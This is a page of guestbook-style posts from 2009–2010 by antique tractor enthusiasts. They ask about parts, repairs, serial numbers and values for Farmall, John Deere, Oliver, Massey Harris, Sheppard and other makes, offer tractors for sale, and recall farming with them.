El Dean Holthus wrote on Tuesday, January 05, 2010 (PST):I have owned a 1964 2010, gas utility for many years 2nd owner. I have it equipped with a Shwartz loader. I do also have a shifting problem. If the 3 point or hydralics fail it probably a clogged wire mesh transmission filter. I am now retired and would be interested in selling this tractor; does anyone have suggested starting price. The 2010 s were not junk. They have the handiest PTO, and the shift was the only JD Synchro with a 1-2, 3-4, etc shift. All others were 1-3, 2-5, 4-7 and 6-8. I am probably preaching to the choir as you all knew that. If I don t sell the tractor I want to rebuild the transmission any ideas. Holt, Smith Center, Ks
Don wrote on Tuesday, January 05, 2010 (PST): i have 1962 m-5 gas super tractor has 75 strong h.p. on dyno work in field and take it to shows... also does great job on pulling track in 8000 plows class
Sig Pfahl wrote on Saturday, January 02, 2010 (PST):I am restoring a 1953 Cockshutt 40. I need an engine block. It is a B230 buda gas engine. I have collected 6 engines so far and upon dismantling then have found cracks either between the sleeves in the center where the metal is thin or in the metal anchoring the head bolts nearest to the sleeve wall where the metal between the threaded hole and the sleeve wall is also thin. Each block has at least one to three such cracks and they seem to appear mostly at front or back cylinder. As a result of this effort I have a accumulated a significant supply of related parts... heads..rockers..flywheels,ring gears,camshafts,crankshafts timming gears, governor parts, distributors etc...anyone interested in parts Anyone willing to trade all this for a gauranteed block...By the way the blocks I ve collected so far generally appear to have good water jackets ,sleeve sealing surfaces, and are externally sound..Ideas re repair and sources are most welcome. sig pfahl 1-204-866-3259
Danny Sebren wrote on Friday, January 01, 2010 (PST):I have a 1945 Ford 9n tractor that I restored and it runs great,but my health is not good and I need to sell it.what do you think I could get for it Thank you and Happy 2010. Mr.Danny
Bernard Bogley wrote on Thursday, December 31, 2009 (PST):Hi I have a International 816 that i bouth and i nead some parts .would there be some one out there that can help me with finding some parts for my tractor. like the radiator air breather oiler sistem small drive grear that goes on the transmision and carberator
c grulkey wrote on Wednesday, December 30, 2009 (PST):DO ALL OLIVER 70 HAVE ALUMINUM HOODS ON THEM WE HAVE ONE
larry lile wrote on Wednesday, December 30, 2009 (PST):dereck i hate to burst your bubble but you are severly misinformed about the strenght of your beloved oliver tractors, while they where a verry serviceable tractor they just will not hold up to the same size john deere for comparrison here i am going to use the data from the Nebraska university test, these where the standard that was used in the years past, and are still being used because it was illegal to sell a tractor in Nebraska that did not meet there advertised hp ratings and which would not submit to the testing. all tractors of the period where tested and they where all supplied by the tractor companies for testing, and i am sure that there where company reps on hand to make sure that their tractors where up to specs during testing, these test are readily available today from various internet sources, so with this in mind let us look at the disel model john deere 730 built from 1958-1961, and the oliver 770 built from 1958-196 , these are both 6000 lb class tractors with six speed tranmissions, and wearing the same size rubber the six cylinder oliver 770 diesel at 216 cubic in, delivered 44.4 hp at the drawbar, pulling a static weight of 4571 lbs in third gear, at a fuel consumption rate of 3.4 gallons per hour, with a last base price of 4345.00 while the two cylinder john deere model 730 diesel at 360 cubic inch, delivered a tested 53.4 hp,at the drawbar pulling a static weight of 5633 lbs in third gear,, at a fuel consumption rate of 3.2 gal per hour, with a last base price of 3700.00 the 720/730 diesels held the hp to fuel consumption record for 26years at the university this translates to the john deere pulling 19% more weight, with 17% more horse power and using 6% less fuel while doing it, that is the primary reason why you still find the old john deeres today and why they outsold all other brands. john deere changed to the new generation tractors in 1961 and they did this only because they had advanced the two cylinder tecnology as far as they thought they could get it to go, but they will always be a classic, while the olivers will always be a also ran like the minnies, both where good tractors, but the john deeres sold so well for a reason!
ed mosset wrote on Tuesday, December 29, 2009 (PST):have an old b setting around taking up space would like to trade it for small tractor with 3pt. with 30hp pto for posthole digger , or cash runs ok tires poor make offer can provide cell pics.
tom wrote on Tuesday, December 29, 2009 (PST):we know of one that is a real nice peace but do you know some that is good on the power stering on this
tom fisel wrote on Tuesday, December 29, 2009 (PST):I have plowed with one of them an you can work all day and still have a smalle on your face and not have to stop at all
Gordon Donahoe wrote on Tuesday, December 29, 2009 (PST):My dad and his brother had an old B, I beleive about a 49 model. I have never seen another like it in that its distinguishing mark was an open flywheel. If the starter failed, which it often did they always removed the steering wheel from the steering column and attached it to the opening in the fly-wheel, thus giving them a circular wheel by which to crank the tractor. When it cranked, they would remove the steering wheel, remount it to the column and take off. Any info. about production numbers of this model and any other info would be helpful. This was in North Louisiana.I have never seen another B like it and would like to know. There couldn t have been many build like this.
ED R . wrote on Monday, December 28, 2009 (PST): Dating the MH . Look under the tractor, just forward of the transmission housing on most you will find a date in the casting. That is the date that casting was made.As a general rule the tractor was built one year later .This date was omitted in later models , probably 1954/ 55. also the later MHF models 333-444 did not have it. also there is a book MASSEY FERGUSON TRACTORS by MICHAEL WILLIAMS -ISBN 0 71371898 6- THAT HAS EVERY SERIAL NO OF EVERY TRACTOR BUILT , BY MODEL AND YEAR This book is out of print but there may be some around . check the internet. this book was first printed in 1987 in england by blanford press.
larry veach wrote on Sunday, December 27, 2009 (PST):would like to buy a set of half tracks 800-736-2985
wl pierce wrote on Sunday, December 27, 2009 (PST):enjoy reading site glad to know thier parties enjoying F style tractors have f20 37 h 49 see ya
Johan Jacobs, Pretoria South Africa wrote on Saturday, December 26, 2009 (PST):The attached picture dates from 1923/25 taken on my grandfarthers farm near the town Jamestown in South Africa - I think this is a Ellis Charmers 1922 This was one of the first tractors used by farmers in South Africa. Please confirm model and year, Regards, Johan Jacobs 26 Dec 2009
ED . R wrote on Friday, December 25, 2009 (PST): FOR THE GENT WANTING TO KNOW ABOUT TRANS OIL. IF THERE WAS A HYDRAULIC SYSTEM THE OIL USED WAS 20/30 WT ENG OIL . IF NO HYD. ANY HP 90 WILL DO . THE TRANS WAS BUILT BY THE TIMKEN CO. BEARINGS YOU MIGHT GET FURTHER INFO THERE.. NOT WELL KNOWN , BUT THERE WAS ALSO A 6 CYL ENG . AND ONE BIG BERTHA TRACTOR AS WE CALLED IT WAS MADE FOR EXPERIMENT ON THE SHEPPARD FARMS MR SHEPPARD ALSO HAD A BOAT IN BALTIMORE WITH TWO OF THESE HUGE ENGINES IN IT I WAS A FORMER EMPLOYEE AT THE PLANT. AND HELPED WITH SOME TESTING OF THE SD4 MODEL. A TRIP TO THE DRAFT BOARD ENDED ALL THE FUN.
Bruce Voigts wrote on Wednesday, December 23, 2009 (PST):I have a 1951 Massey Harris Diesel row crop. It is as old as I am. I still drive it. I use it to haul wood for the fireplace. I like the sound of it and at one time, it may have been the biggest row crop tractor available.
Jon wrote on Monday, December 21, 2009 (PST):1969 MM G-1000 Vista diesel for sale. Needs rear 2 jugs overhauled, it s all there except the chrome emblems. Has narrow front on it I think from a 670 . Front tires are junk, rears are 70% 18-4-38. Tin is mostly straight, fenders are a little tweaked, but will come back. Was going to go pulling with it, but can t bring myself to chop it up.
Allen Van Boven wrote on Sunday, December 20, 2009 (PST):I just purchased my first Massey-Harris Pony today. It is a 1948 and the drawbar is just a rod with a loop at the end. Looking for information on if this year tractor had other style drawbars, and if so where I can purchase them. Thanks
Tony White wrote on Saturday, December 19, 2009 (PST):I have a Cub Tractor and have several pieces of Equipment that I found several years. I have most of the parts for the L-54 Leveling and Grader Blade, but do not have the Spring Rod nor do I have the Mounting bolts and Hardware nor the knowledge of how to mount to the Tractor in order to use to push snow off the Driveways , Don t snow much here but when it does it would be nice to be able to use what I have. thanks for any help .
Fred wilson wrote on Thursday, December 17, 2009 (PST):I have a 1964 super major fordson. I bout if off a old farmer for 800. Back in 03. Rebuilt the engine and had no trouble with it tell now. I need to rebelled the injector pump. And cant find parts. I can get reed of it. It was my dad’s and he loved it. And so do I. So do you know wear I can get the parts for old blue Fred Wilson
rp wrote on Thursday, December 17, 2009 (PST):my 50 WD has the tractor serial # on top flange/machined surface of rear axle near left brake cover. Engine has its own # on left side between carb aircleaner bowl. They generally Run,steer,and pull better than it has any right to.
Norman MacCrimmon wrote on Tuesday, December 15, 2009 (PST):I have four twin city 17-28,s and will be listing three of them for sale in the spring. they are not running ,and are not seized.I do need a manual for these tractors.What are they worth
L. Hampe wrote on Tuesday, December 15, 2009 (PST):I just ordered a crank for my 51 MT from a dealer in south GA. Ph 229-859-2643. Cost me 39 plus shipping. Don t know where to store it. My MT is a working tractor on a tree farm in GA. Use it to keep fire trails clear.
bruce brown wrote on Monday, December 14, 2009 (PST):I am in the process of rebuilding my O14but I can t find a repaire manual. This tractor has been stored for apx. 30 yrs. clutch will not disingage, fingers that go against the throut bearing are rusted tight. HELP thanks
Kris Johnson wrote on Sunday, December 13, 2009 (PST):I have a 1948 Case VAC Narrow front tractor. I would like to sell it. It is unrestored and unpainted. I was wondering if anyone thinks somewhere in the ballpark of 2000 is out of the realm. Thanks
Brian Watson wrote on Saturday, December 12, 2009 (PST):I have a 1947 60 that my Grandfather bought new in 1949 from Howard Hand in Independence Ia. It sat 32 years on blocks in my uncle s machine shed before I got it. It also had the 2 row cultivator still on it. Just finished restoration this year. It s a very easy to drive, fuel efficient tractor.
Brian Watson wrote on Saturday, December 12, 2009 (PST):The only D18 s built were experimental prototypes. The D18 tractor had the drivetrain of what became the D19 tractor with the sheetmetal of the D17. Just didn t look right. They raised the hood line to make it a bigger tractor and somewhere along the way the model changed to D19.
g. nolting wrote on Friday, December 11, 2009 (PST):we have a 1948 oliver 60 with the original u.s.royal farm tractor tires on the rear. they still do hold air. i also use it fom time to time.
clinton wrote on Friday, December 11, 2009 (PST):I have a vac case and was looking for the eagle hitch arms assembilly for the back if any one has it let me know
Joe Carter wrote on Friday, December 11, 2009 (PST):i just finished putting my super 55 back together and what a job it was i had to put a new through baring in the pto to do that you have to split the entire tractor a part and what a job that was
James Delk wrote on Wednesday, December 09, 2009 (PST):My daddy and uncle had a John Deere Model GM that they bought in 1942 . The shipment was delayed because of wartime shortages of steel; the dealer called the depot in Louisville says that if they never shipped him another tractor he wanted this one and one other. By the time John Deere shipped it to Columbia, TN the government has shut down of equipment sales so that they had to go thru. the rationing board AAA board, I think . Everybody nearly wanted that big tractor, but the dealer, Mr. Henry Porter, stood and said that, This tractor was ordered for this man and this other tractor was ordered for this other man; I think that they each ought to get them. Mr. Porter took good care of my family during the war as it related to equipment.
Ivan Crain wrote on Tuesday, December 08, 2009 (PST):I have put live hydraulics on my 51 H and would like to put an OEM Charlynn power steering on it but understand the space is very close. Could someone give me some ideas or pictures. I know it s not original. I don t care.
J.R. Latham wrote on Tuesday, December 08, 2009 (PST):I have a 1947 Farmall B and was wondering if the emplements off of an A would fit it I have read were people say that they were the same just the engine were placed different
dfc wrote on Monday, December 07, 2009 (PST):Did John Deere ever make a large size tractor like the model R with a front crank start
Jr. Roby wrote on Monday, December 07, 2009 (PST):How many d-18s did they make
Danny Jarrett wrote on Monday, December 07, 2009 (PST):Would like to find a Massey Harris Pacer rolling drive train, engine not needed. Please call 304-997-5405
jake schauer wrote on Sunday, December 06, 2009 (PST):wanted-la diesel late 1950s case crawlers case 500,400,900 where very good tractors.
dick schley wrote on Sunday, December 06, 2009 (PST):Kay, if you still have the e-3 coop come up with a price and maybe I ll be interested, thank you. P.S. sorry to hear about your husband
GENE wrote on Saturday, December 05, 2009 (PST):Again to Mike if you haven t sold your tractor yet i m willing to pay 400- 900.
Jeff wrote on Thursday, December 03, 2009 (PST):I have an M5 it is the best tractor I have. use it to move hay to the cows in the winter. Really would like to get a cab for it, some day love the tractor always starts great.
LLMorehouse wrote on Thursday, December 03, 2009 (PST):I HAVE A 450 COCKSHUTT IT BEEN SETTING IN ALL KINE OF WATHER iWOOD LIKE TO RESTORE IT LOOKING FOR A STARTER 6 VOLT iT IS A DELCO i AM NOT SURE OF THE YEAR SO IF ANY ONE CAN HELP NUM.IS 162 3164 223414 0N THE STARTER 1108073 8B28 6 VOLT THANK YOU LLMOREHOUSE
Ron Pann wrote on Wednesday, December 02, 2009 (PST):I ve a 51 VA std. with Wagner full hyd. loader, just saw another just like it for sale with wagner trip bucket loader and PTO and may get for future project. Any collector interest in these beside just utility snow removal chores The live hydraulic power is real asset. The PTO equipped one I m considering buying would be a good belly mower tractor for year-round use.The buckets remove easy, though the loader frame itself would be tough to remove.
Brad Noble wrote on Tuesday, December 01, 2009 (PST):I have two perfect never used Light-Weight Oil Pull tractor pocket watch leather FOB s. On the back it says Advance-Rumely Power Farming Machinery - La Porte, Indiana. Any interest in these The strap is leather and the badge is at least gold colored plated perhaps . Very nice condition.
charlotte wiggins wrote on Monday, November 30, 2009 (PST):my brother has a massey ferguson tractor diesel,mf135, year 1966 good shape would like to know what its worth thanks
Bud West wrote on Friday, November 27, 2009 (PST):I have a Massey Harris tractor, Model 44-GR, Tractor # 1234. It does not run, but would be a good tractor to rebuild. All sheet metal is in very good condition, no dents or rusted out places, original front and rear lights. This tractor has been parked for over 25 years, no water in oil. Even the front grille is intact with no dents.
chuck cramer wrote on Thursday, November 26, 2009 (PST):I have owned a mod 18-35 F RockIsiand tractor for 30 years or so . I also need parts for mine . do have orig man and some orig ads from farm mag chuck cramer 715-235-4084
Jim Winters wrote on Thursday, November 26, 2009 (PST):Have an AC 160 to sell. Runs great - everything works well. New rear tires. The body is very good - no dents. A new paint job would make it like new!
Mike wrote on Wednesday, November 25, 2009 (PST):I have a friend who has a 1941 9N. He can only find one filler plug and he thinks there should be three; one each for the transmission, the Hydraulic and the differential. Can anybody tell us how many and where any other filler plugs would be
Dave Jacobs wrote on Wednesday, November 25, 2009 (PST):I just bought my first tractor. AC 170 with Perkins diesel. Looks like it needs brakes. I believe I know where the parts can be found and will purchase a manual. However I know someone could have some time saving advice about this project.
Mark Scrantz wrote on Tuesday, November 24, 2009 (PST):looking for 1950 mfwa running or not la.,tx.,ar.,miss.area
Patrick Horner wrote on Tuesday, November 24, 2009 (PST):I have a TO30 with a z129 engine with cracks on top and on the bottom. Anyone have any suggestions as to where I might find a block Or, whether or not another MF engine will interchange
rob gasper wrote on Sunday, November 22, 2009 (PST):I have a 15 30 that is all complete. We just pulled it out of a shed. The guy that I got it from said he remembers his dad bringing it home to that same farm. They dropped it off in the field when it was new and they drove it home about 3 miles. I do not know what is worth but I was thinking about putting it on Ebay for a 1000 starting price. Call me if anyone wants to make a offer on it. It looks like it would make a great tractor to restore. From what I have seen so far it is on great shape compared to most original 15 30 s I have seen so far. Rob 402 910 6838
Marc Slingwine wrote on Sunday, November 22, 2009 (PST):What is an IH 1917 8-16 restorable tractor worth
Jeff Tharp wrote on Sunday, November 22, 2009 (PST):Have 1975 AC160 for sell motor runs great, brakes work good but hangs up have to put in reverse to unlock. Lift was working good, but water got in hydr.fluid no the lift comes up as soon as you crank it.Needs left fender,seat and work on bottom front of hood.New front tires but rear are rough. I live in Slocomb, Al 36375 1000.00 you come get it
Jack wrote on Saturday, November 21, 2009 (PST):Hi, I am buying a IH 350 Utility gas engine. I d like to know more about this tractor. Can someone give me links for repair and rebuild and any information about the tractor itself. Thanks!
Peter wrote on Friday, November 20, 2009 (PST):Working on restoring a B right now... Need Battery box cover badly. Also, anyone have advice on SLEEVES P.S. I am 13 so this is a learning experience. And Yes I value the tractor very much, if any of you think a kid isn t worthy. Anyway, SLEEVES anyone THANKS!
Eddie Schantz wrote on Friday, November 20, 2009 (PST):We farmed with a Massey Harris 55 in the late 60 s, but I don t know what year of tractor it was. As a teen ager I certainly was not happy to drive it. It did not have power steering was very bulky to me. But it was a dependable tractor and gave us very little trouble. We farmed in west-central Oklahoma and used it mainly to farm our wheat ground. We used a 1949 MM U for our rowcrop when I was growing up. One of my brothers still has that tractor it has been restored. I often wondered where that old Massey ended up. Who is this moron that put these posts up from April 23-26th. Why can t they be deleted
wilson braña c. wrote on Thursday, November 19, 2009 (PST):tengo un tractor oliver modelo IXB-3 PARTE CON BENCINA Y TRABAJA CON PARAFINA ,PERO ME FALTA EL SISTEMA ELECTRICO PARA HACERLO FUNCIONAR, SI ALGUIEN DE BUENA VOLUNTAD LO SABE SERIA DE MUCHA UTILIDAD PARA MI DESDE YA MUY AGRADECIDO WILSON
Mike wrote on Tuesday, November 17, 2009 (PST):I have a 1953 farmall cub tractor for sale. The tractor has a 42 belly mower. This tractor runs and cuts great, make offer.
Glenn Winter wrote on Saturday, November 14, 2009 (PST):Ihave a 8n flathead 6 funk conv.for sale very good shape 6000 and a v8 4x4 8n show tractors for sale 12,500 both have o/u shermans thanks Glenn
Bill wrote on Friday, November 13, 2009 (PST):I have a wd tractor and can t find the serial number, i have looked on the back trans. housing but can t seem to find it. can any one shed some light on it
Leon Peterson wrote on Wednesday, November 11, 2009 (PST):We have an Oliver 770 gas with narrow front that I have owned and used almost daily for over 30 years. When I sold our dairy farm in 1983, the Oliver nearly sold, but my wife bid it back in. This tractor has been the best starting tractor on the place. It is nice to use for hauling manure, discing, raking hay, you name it. The power steering makes it easier to turn than the Farmall. We also have a 1650 for the jobs requiring more horse power.
Paul Doll wrote on Wednesday, November 11, 2009 (PST):Have a 500 case runs great looks great would like to sell my dad took it to alot of tractor pulls did really well. I think he only lost twice.
Michael Elliott wrote on Sunday, November 08, 2009 (PST):My buddy wanted me to put this on here. He has a 44 Massey Harris gas burner with trike front end. I told him some one may be interested on this site. I looked it over pretty good. The engine doesn t run and the brakes are locked up but it s not beat up,it has PTO and 1 hydraulic lift on back. If anyone is enterested call Roy at 205-270-9575.He ll make you a great deal.
Peter Clark wrote on Sunday, November 08, 2009 (PST):I am currently restoring a 1963 Super Dexta. I live in Centurion, a suburb of Pretoria and have sourced around 5 partial tractors including a 1960 standard Dexta with a F3/144 engine.My late father was the owner of the first unit sold in South Africa in 1959 and it wa operaional until 1995. South African Dextas all have cast iron front wheel rims and I believe they are unique. The castings wer produced by an engineering firm in Port Elizabeth and carry a marking DEXTA Made in South Africa . I believe that the reason for this was to afford the FordMotor Company of South Africa tax breaks based on weight proportion of loclly added parts such as tyres, wheels and weights. It is very difficult to source parts here and that is the reason I have decided to buy up all possible scrapped nits that I can locate. I am busy compiling a data base of usable spares in my collection.
dallas ivory otter lake mich wrote on Saturday, November 07, 2009 (PST):i noticed alot of pto problems more than likely it is just out of adjustment on the pto caseing there is an inspection hole take plug out with a light turn pto until u see set screw take screwdriver and turn it in then tighten untill pto engagement lever has it s SNAP back turn set screw back out and you ll be back in business
Terry Stefancik wrote on Thursday, November 05, 2009 (PST):I bought my dad s 1953 R in 1996. I recently hauled it to Elnora, IN 2009 and participated in the fun pull. Had the wheels up and the motor blowing smoke.
Tina Berkley wrote on Thursday, November 05, 2009 (PST):I bought a International Farmall Super MD eight years ago. It is a wide front end with spin out back tires. We use it for bush hogging. I have it for sale. I am asking 3500.00
monte smith wrote on Thursday, November 05, 2009 (PST):We had a W6 and my dad put me on it when I was 6 in 1960 just to bring it from the back pasture. I couldn t reach the clutch so I circled the house till he got there. My mom was in histerics.
Ted Winderl wrote on Wednesday, November 04, 2009 (PST):For all you Sheppard enthusists out there. My dad was also a dealer of these tractors and engines in the late 40 s and 50 s. I had alot of info for SD3 and SD4 that I gave to some farmers from Norh Dakota that bought the engines. Some facts that were unique about these were that, pistons,rings,bearings,sleeves rocker arms,injectors were all the same. If one was desparate, you coulde cut the 4th cylinder off of the head gasket and use it for the SD3 engine. To fix the rear main seal on the SD3 was simple, to just simply slid it across a real fine sand paper on the sealing surface on a perfectly flat surface and it would take all the nicks out of it and it would seal again. On rebuilding the injector pumps, one would have to take it to a machine shop and bore out the plunger bore and sleeve it back to standard. Similar to like putting bushings in valve guides in a cylinder head. The waterpump on an SD3 was the same as that on an M-farmall gas tractor. Sheppard made the SD3 engine to where it would fit right into an M-Farmall. During the 40 s when gasoline was rationed, Sheppard had a conversion to where the SD3 engine could be put into a Packard car. I believe that would be real heavy in the front end!! Shepperd also made a 6 cylinder. I saw photos of one in the literature I gave away.It was used as a power plant. Hope this helps you guys.
Jacob Boehnke wrote on Tuesday, November 03, 2009 (PST): I m looking for a Waterloo Boy Tractor it can be in poor shape aslong as its perty complete... Please e-mail me what you guys have and what you want for it- I have alot of stuff to trade or cash willing to work out a deal - Ive really really always admired these tractors and want to fix one up and pass it down in my family- Plz if you guys/gals have one your trying to get rid of laying in the grove/barn/sheds... or would like to trade for something newer lmk THANKS... ; Jake
Gary Hooker wrote on Tuesday, November 03, 2009 (PST):My brother has two Massey Harris Pacers for sale. He also has some equipment to go with them. They are not running and are all original. Call him at 423 306-3121 or you can answer me at my email address; gahr at charter.net
James W Lewis wrote on Monday, November 02, 2009 (PST):I am the proud ownerof a 1964 ford super dexta,operated one when I was a farm kid in south carolina when I retired from the navy seabees in 1988 i bought one from the original owner.use it dailyand its still the the best ford tractor ever built in its horsepower range swuper economical on fuel 8 to 10 gallons in 8 or 10 hrs. have a lot of experience with this tractor and repairs related to it
lynn darbyshire wrote on Monday, November 02, 2009 (PST):have a harry ferguson tractor serial #; to-35796 on dash which makes it a 1950 T0-20 but engine # is z129 - 353405, which makes it a T0-30
Steve M wrote on Sunday, November 01, 2009 (PST):I am looking for a wide front axle for a 1950 Massey Harris 22 tractor.
Kendall Williamson wrote on Saturday, October 31, 2009 (PDT): My uncle owned an 830 and we had a 630 rowcrop and then an 8o. My dad bought the 630 new and I bought it back in the late 80,s from the neighbor,s and still own it. I also bought an 830 in 86 with 5131 hours on it and repaired a few seals and repainted it and changed all oils. I farmed 320 acres with it for 8 or 10 years and always enjoyed the way these tractors sounded and pulled. It has 6825 hours on it now as I just looked. I took it out of the shed this summer and cleaned it up and changed fuel filters and cleaned the pony motor carb as it was gummed up from sitting for 7 years. Both engines run well and was great to hear it run again!! These old 2 cylinder tractor will run huge hours if they are looked after, this one still does not use oil between oil changes. In the spring of 07 there was one in northern Alberta sold for 15,000 and another for I think was 13,500 but don,t know the hours that were on them. They looked in very nice codition from the pic showed. I have a Meade cab that was on it when I bought but took it of this summer when I cleaned it up.
Gregg wrote on Saturday, October 31, 2009 (PDT):I have a farmall b tractor the only number I could find was 127895 that was located under the seat frame. I need to know what kind of carburator it has on it to order rebuild kit.
Leo wrote on Saturday, October 31, 2009 (PDT):I have a WD-45 with loader. It has a after market wide front end. I need the bushing that go into the spindle support. dose anyone know where to purchased them
mike barnette wrote on Friday, October 30, 2009 (PDT):have a 160 ser. #0740126 can anyone tell me the year model
John Sykes wrote on Thursday, October 29, 2009 (PDT):I recently purchased a 1953 Farmall model F-Cub the tractor is in good condition and I am wanting to restore the paint to the original color on the tractor and its equipment. Currently the tractor is red with the aluminum color trim on back wheel and the equipment is rusty. Can you advise me on paint colors and where I could purchase them I noticed that tractor supply has some Farmall colors but wasn t for sure if that would be the correct colors to use on this tractor. I have noticed pictures of restored farmalls with the equipment painted a blue color. Thanks so much for your help.
Carey Lambeth wrote on Wednesday, October 28, 2009 (PDT):Am I the only one that owns a D-17, LP It was the first tractor that I ever owned, and I recently trailored it from Oklahoma to Washington. I m in the process of getting it back in shape so that I can bale hay with it again. Back in the day, it seem like I could run all day on a tank of propane. If anyone else owns one, let s talk. 350-435-6448
Kip Evans wrote on Wednesday, October 28, 2009 (PDT):Hey ... Just wondering if anyone figured out the problem with the 160 s lift arms raising by themselves when you start it... Hmmmm....
Bill Burbridge wrote on Tuesday, October 27, 2009 (PDT):Irecently bought a 1952 MH Pony. A plow, disk harrow and a 6 foot sickel mower. I need better instructions on mounting the mower model MH228 . Iam a;so not sure I have all the parts. HELP! If you want to buy the disk harrow or plow I live in Vancouver, WA. email me. I believe the correct color of the tractor is red. Available from CT Country Tractor Ph;888-828-3276. They have a lot of parts and manuals for the Pony.
Joe Roberts wrote on Tuesday, October 27, 2009 (PDT):A friend of mine has a two bottom trip plow. The trip mechanism is up high and is driven by a chain from the wheel. We cannot find any manufacturer name on it anywhere. Does anyone have any idea who this manufacturer is
Bonnie E. Johnson wrote on Monday, October 26, 2009 (PDT):My twin brother has a super A farmall, 1954. We were raised on a tobacco farm and we raised peanuts and corn also. I had 2 brothers that had to do a lot of cultivating. I am trying to find something with several pictures of farmall tractors on it,older model ones to give to my brother for Christmas. He has things like that hanging in his shop, although our parents have passed on and none of us farm now but if any of us would have farmed,it would have been him. He has several tractors and has never farmed since he got out on his own. In our area you have to be a huge farmer to make a go of it. It is nothing like it was when we were growing up. It s a shame that some things have to change. Anyway,he is a big fan of farmall tractors and has caused me to have an appreciation for them as well.
Ben Wimberley wrote on Monday, October 26, 2009 (PDT):Ben Wimberley,Monday,October 26,2009 - I have an Oliver Super 44 with good sheet metal,engine been rebuilt,it has about 50 hours on rebuild,runs great and works great.Need to sale.All equipment can go with tractor or by itself.
Tom wrote on Monday, October 26, 2009 (PDT):My brother just bought a AC D-15 tractor with a forklift attachment. Where is the timimg mark located It has been sitting idle for about 5 years and he has no manuals.
Nick wrote on Saturday, October 24, 2009 (PDT):The MF 98 was indeed built by Oliver for Massey. The tractor was a rebadged Oliver 990GM. They were most well known for featuring a General Government now Motors 3-71 two-cycle diesel engine with a prominent supercharger on the side. They are extremely rare and were available only from 1960 to 1962. Finding one in any condition is challenging.
Pat Dillon wrote on Saturday, October 24, 2009 (PDT):1942 JD Model H For sale. 5 yr old restoration.
james willmon wrote on Friday, October 23, 2009 (PDT): i have a pacer no 16 runs great i am lookig for a cluth an presser plate any one know where i can get one my tractor is a 52 or 53 i was told thanks,
Becky Roberts wrote on Friday, October 23, 2009 (PDT):Hi everyone, we are in the process of selling out Blue Ford 2000 series, it includes the brush hog, the blade and an owners manual. Really don t know what to price this and wondered if anyone could help me here. The tractor is in Nashville, Indiana marked at 5000. for all. This tractor has always spent time out of the weather and is in great shape. Please help me find a good price to offer the community. Thanks, Becky
Peter Squires wrote on Friday, October 23, 2009 (PDT):I hope to write an article on the Sheppard tractors and would appreciate any information including what the 6-cylinder tractor engine was.
David W. Dill wrote on Thursday, October 22, 2009 (PDT):I am looking for the adjustment procedure for the #62400D Speed Attachment for the Farmall M tractor. I have the Operator s Manual and the Service Manual but the info is not contained in either of them. It would be greatly appreciated if someone would help me out on this matter. Thank you. David
Daniel Séguin wrote on Thursday, October 22, 2009 (PDT):Je suis un amateur de tracteur cuckshutt, et dans ma région il en reste encore quelques uns. J aimerais trouver une personne qui serait intéresser à les récupérer pour les remonter pour en faire des collections.
james olvier wrote on Tuesday, October 20, 2009 (PDT):What is the difference between an Oliver row crop versus an Oliver standard tractor Thanks,
russ larrabee wrote on Tuesday, October 20, 2009 (PDT):I m a novice, but bought my first 1940 ac-b tractor last week. need front and rear rims and tires. Can anyone help.
Ashley Duncan wrote on Monday, October 19, 2009 (PDT):Sorry, it s been awhile since I ve visited the site, but Adam if you still have the 1530 for sale, please contact me. My email address is andunc04 at vt.edu. Please include where you re located and how much you are asking for it. Thanks for responding to my previous add!
J.R. wrote on Monday, October 19, 2009 (PDT):I agree with J.B. Bailey and all others. I grew up on my grandpa s farm riding the old but powerful Allis. His 1966 D-15 Series II was my faveriote and still is to this day,along with his 1964 D-10 Series I. Both are still plowing the fields and still getting up hay today. I am the second owner. My grandpa gave me these tractors to keep the spirt alive. So I could past them on to my children.
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Austin Smith wrote on Sunday, October 18, 2009 (PDT):What do I need to convert a 3 point hitch back to a 2 point hitch
Judy Williams wrote on Sunday, October 18, 2009 (PDT):My husband is refurbishing his Ford 671 select-o-matic. Does anyone know where I can get any decals for this tractor I d like to surprise him for Christmas this year.
Vivia Tatum wrote on Sunday, October 18, 2009 (PDT):We have a 1948D tractor we ve restored and are presently showing at a tractor show in Denver, NC. THere s another Leader in the show which is a 1948 B. What is the difference between the two. Which is the more deluxe version of the Leader, B or D Thanks!
Dan Lively wrote on Saturday, October 17, 2009 (PDT):I m trying to locate a family tractor. My grandfather bought new a 1941 John Deere B S/N 107679. It was traded in the mid-late 70 s to a JD dealer in Buckland MA. Any help locating this tractor is greatly appreciated.
wrote on Thursday, October 15, 2009 (PDT): postscripts lofts MacDougall reveling warts .
Robert McKell wrote on Monday, October 12, 2009 (PDT):Hello, I am starting to restore a 770 like this one,I was hoping that you would kindly send me some pictures of your tractor, so that I could picture all four sides. Thank you for the help. I hope mine looks as good as yours when it is complete.
Marvin E Haylett sr wrote on Sunday, October 11, 2009 (PDT):I have a case 1018 tractor that was owned by my wifes grand dad. It is for sale. if anyone would like to buy it. thanks marvin
Lyle L. Hertel wrote on Saturday, October 10, 2009 (PDT):I have a 1956 WD45 that has been in the family since my dad started farming in 1956. It has a Model 33, 2 row, tractor mounted corn harvester. Does anyone know if parts like bearings are still available.
James Stephens wrote on Saturday, October 10, 2009 (PDT):My father-in-law has a Ferguson TO20 and is trying to replace the cam shaft. Can anyone tell me where to get a good shop manual with instructions and diagrams of the Z-120 continental engine. He is an experienced mechanic but not with this tractor.
austin mize wrote on Saturday, October 10, 2009 (PDT):I have a 1948 leader tractor that im in the process of restoring. ive been told that the original red color of it was persian red. does any one know where to get it
lloyd sorlien wrote on Friday, October 09, 2009 (PDT):The 54 super H did have live hydralics. I had on. I bought a 1948 H tractor 2 months ago and when I drove it in 4th. gear the front weels wobbled really bad. I loaded itonmy rrailer and took it home. The nut on the stearing shaft in the case up frontd was completely off the shaft.The gear was loose too on thedown shaft. Itis tapered so I hit it lightly down and tightened the nut. Helped a lot. still wobbled some in 5th gear. I put a tapered plate on the pedistool with the 4 bolts. Put the wide part to the rear. Now the tractor goes down the road in road gear and goes straight. I paid 950.00 for the H. many go for opvwer 1200. here.
